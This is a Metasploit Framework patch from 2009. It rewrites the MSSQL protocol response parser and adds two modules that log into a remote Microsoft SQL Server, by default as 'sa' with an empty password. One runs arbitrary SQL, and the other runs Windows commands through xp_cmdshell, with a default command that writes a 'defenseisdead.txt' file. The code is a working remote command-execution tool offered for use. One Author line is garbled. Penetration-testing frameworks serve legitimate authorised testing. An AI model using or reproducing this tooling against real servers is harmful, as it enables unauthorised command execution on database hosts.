From e7aecca83889313332b288994e01262f81962c86 Mon Sep 17 00:00:00 2001 From: James Lee Date: Mon, 12 Jan 2009 05:18:05 +0000 Subject: [PATCH] more awesomeness from tebo git-svn-id: file:///home/svn/framework3/trunk@6133 4d416f70-5f16-0410-b530-b9f4589650da --- lib/msf/core/exploit/mssql.rb | 90 ++++++++++++++++----- modules/auxiliary/admin/mssql/mssql_exec.rb | 52 ++++++++++++ modules/auxiliary/admin/mssql/mssql_sql.rb | 51 ++++++++++++ 3 files changed, 172 insertions(+), 21 deletions(-) create mode 100644 modules/auxiliary/admin/mssql/mssql_exec.rb create mode 100644 modules/auxiliary/admin/mssql/mssql_sql.rb diff --git a/lib/msf/core/exploit/mssql.rb b/lib/msf/core/exploit/mssql.rb index 3232a58af0..fe935e0da4 100644 --- a/lib/msf/core/exploit/mssql.rb +++ b/lib/msf/core/exploit/mssql.rb @@ -6,9 +6,6 @@ module Msf # # This module exposes methods for querying a remote MSSQL service # -# TODO: optional encrypted connection bits -# TODO: full query response parsing -# ### module Exploit::Remote::MSSQL @@ -177,32 +174,83 @@ module Exploit::Remote::MSSQL sock.put(pkt) resp = sock.get(timeout=15) - return resp + return query_parse(resp) end def cmd_exec(cmd) cmd_query = "xp_cmdshell '#{cmd}'" - resp = sql_query(cmd_query) - - # Check for successful return status in a cheap beta way - if (resp and resp =~ /\x79\x00\x00\x00/) # switch to footer[5] - # The command completed successfully - return query_parse(resp) - end - - return false + sql_query(cmd_query) end def query_parse(resp) - header = resp.slice!(0..7).unpack('CCnnCC') #type, status, size, chan, pkt#, window - colinfo = resp.slice!(0..18) # oh lazy, just works for single pkt command output - footer = resp.slice!(-23..resp.length).unpack('CnnlClCnnl') # footer[5] is return status - - resp.split(%r{\xd1.}).each do |line| - printf("#{line}\n") + @data = "" + status = 0 + while status == 0 + status, + size, + pkt = parse_header(resp.slice!(0,8)) + @data << resp.slice!(0,(size-8)) end - printf("\n") - # return query results and returnstatus(footer[5]) + + until @data == nil + token = @data.slice!(0,1).unpack('C')[0] + case token + when 0xa0, 0xa1 + parse_column() + when 0xd1 + parse_row() + when 0x79 + parse_ret() + when 0xfd, 0xfe, 0xff + parse_done() + when nil + break + else + printf("Got unsupported token!\n") + end + end + end + + def parse_header(header) + type, + status, + size, + chan, + pkt, + window = header.unpack('CCnnCC') + + #printf("Got Packet #{pkt} of #{size} bytes...\n") + return status,size,pkt + end + + def parse_column() + len = @data.slice!(0,2).unpack('S')[0] + str = @data.slice!(0,len).unpack('A*') + end + + def parse_row() + len = @data.slice!(0,1).unpack('C')[0] + if len == 0 + printf("\n") + else + str = @data.slice!(0,len).unpack("A*")[0] + printf("\t#{str}\n") + end + end + + def parse_ret() + ret = @data.slice!(0,4).unpack('N')[0] + unless ret == 0 + printf("There was a problem executing the query...\n") + end + end + + def parse_done() + status, + cmd, + rows = @data.slice!(0,8).unpack('nnN') + end + end end diff --git a/modules/auxiliary/admin/mssql/mssql_exec.rb b/modules/auxiliary/admin/mssql/mssql_exec.rb new file mode 100644 index 0000000000..b48ebd6b7e --- /dev/null +++ b/modules/auxiliary/admin/mssql/mssql_exec.rb @@ -0,0 +1,52 @@ +## +# $Id:$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/projects/Framework/ +## + +require 'msf/core' + + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::MSSQL + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Run a command via xp_cmdshell', + 'Description' => %q{ + This module will execute a Windows command on a MSSQL/MSDE instance + via the xp_cmdshell procedure. + }, + 'Author' => [ 'tebo MSF_LICENSE, + 'Version' => '$Revision:$', + 'References' => + [ + [ 'URL', 'www.attackresearch.com' ], + [ 'URL', 'http://msdn.microsoft.com/en-us/library/cc448435(PROT.10).aspx'], + ])) + + register_options( + [ + OptString.new('MSSQL_USER', [ false, 'The username to authenticate as', 'sa']), + OptString.new('MSSQL_PASS', [ false, 'The password for the specified username', '']), + OptString.new('CMD', [ false, 'Command to execute', 'echo metasploit >> C:\\defenseisdead.txt']), + ], self.class) + end + + def run + connect + if mssql_login + cmd = datastore['CMD'] + cmd_exec(cmd) + end + disconnect + end +end + diff --git a/modules/auxiliary/admin/mssql/mssql_sql.rb b/modules/auxiliary/admin/mssql/mssql_sql.rb new file mode 100644 index 0000000000..9b32a74cee --- /dev/null +++ b/modules/auxiliary/admin/mssql/mssql_sql.rb @@ -0,0 +1,51 @@ +## +# $Id:$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/projects/Framework/ +## + +require 'msf/core' + + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::MSSQL + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Run simple SQL against the MSSQL instance', + 'Description' => %q{ + This module will allow for simple SQL statements to be executed against a + MSSQL/MSDE instance given the appropiate credentials. + }, + 'Author' => [ 'tebo ' ], + 'License' => MSF_LICENSE, + 'Version' => '$Revision:$', + 'References' => + [ + [ 'URL', 'www.attackresearch.com' ], + [ 'URL', 'http://msdn.microsoft.com/en-us/library/cc448435(PROT.10).aspx'], + ])) + + register_options( + [ + OptString.new('MSSQL_USER', [ false, 'The username to authenticate as', 'sa']), + OptString.new('MSSQL_PASS', [ false, 'The password for the specified username', '']), + OptString.new('SQL', [ false, 'The SQL to execute', 'select @@version']), + ], self.class) + end + + def run + connect + if mssql_login + query = datastore['SQL'] + res = sql_query(query) + end + disconnect + end +end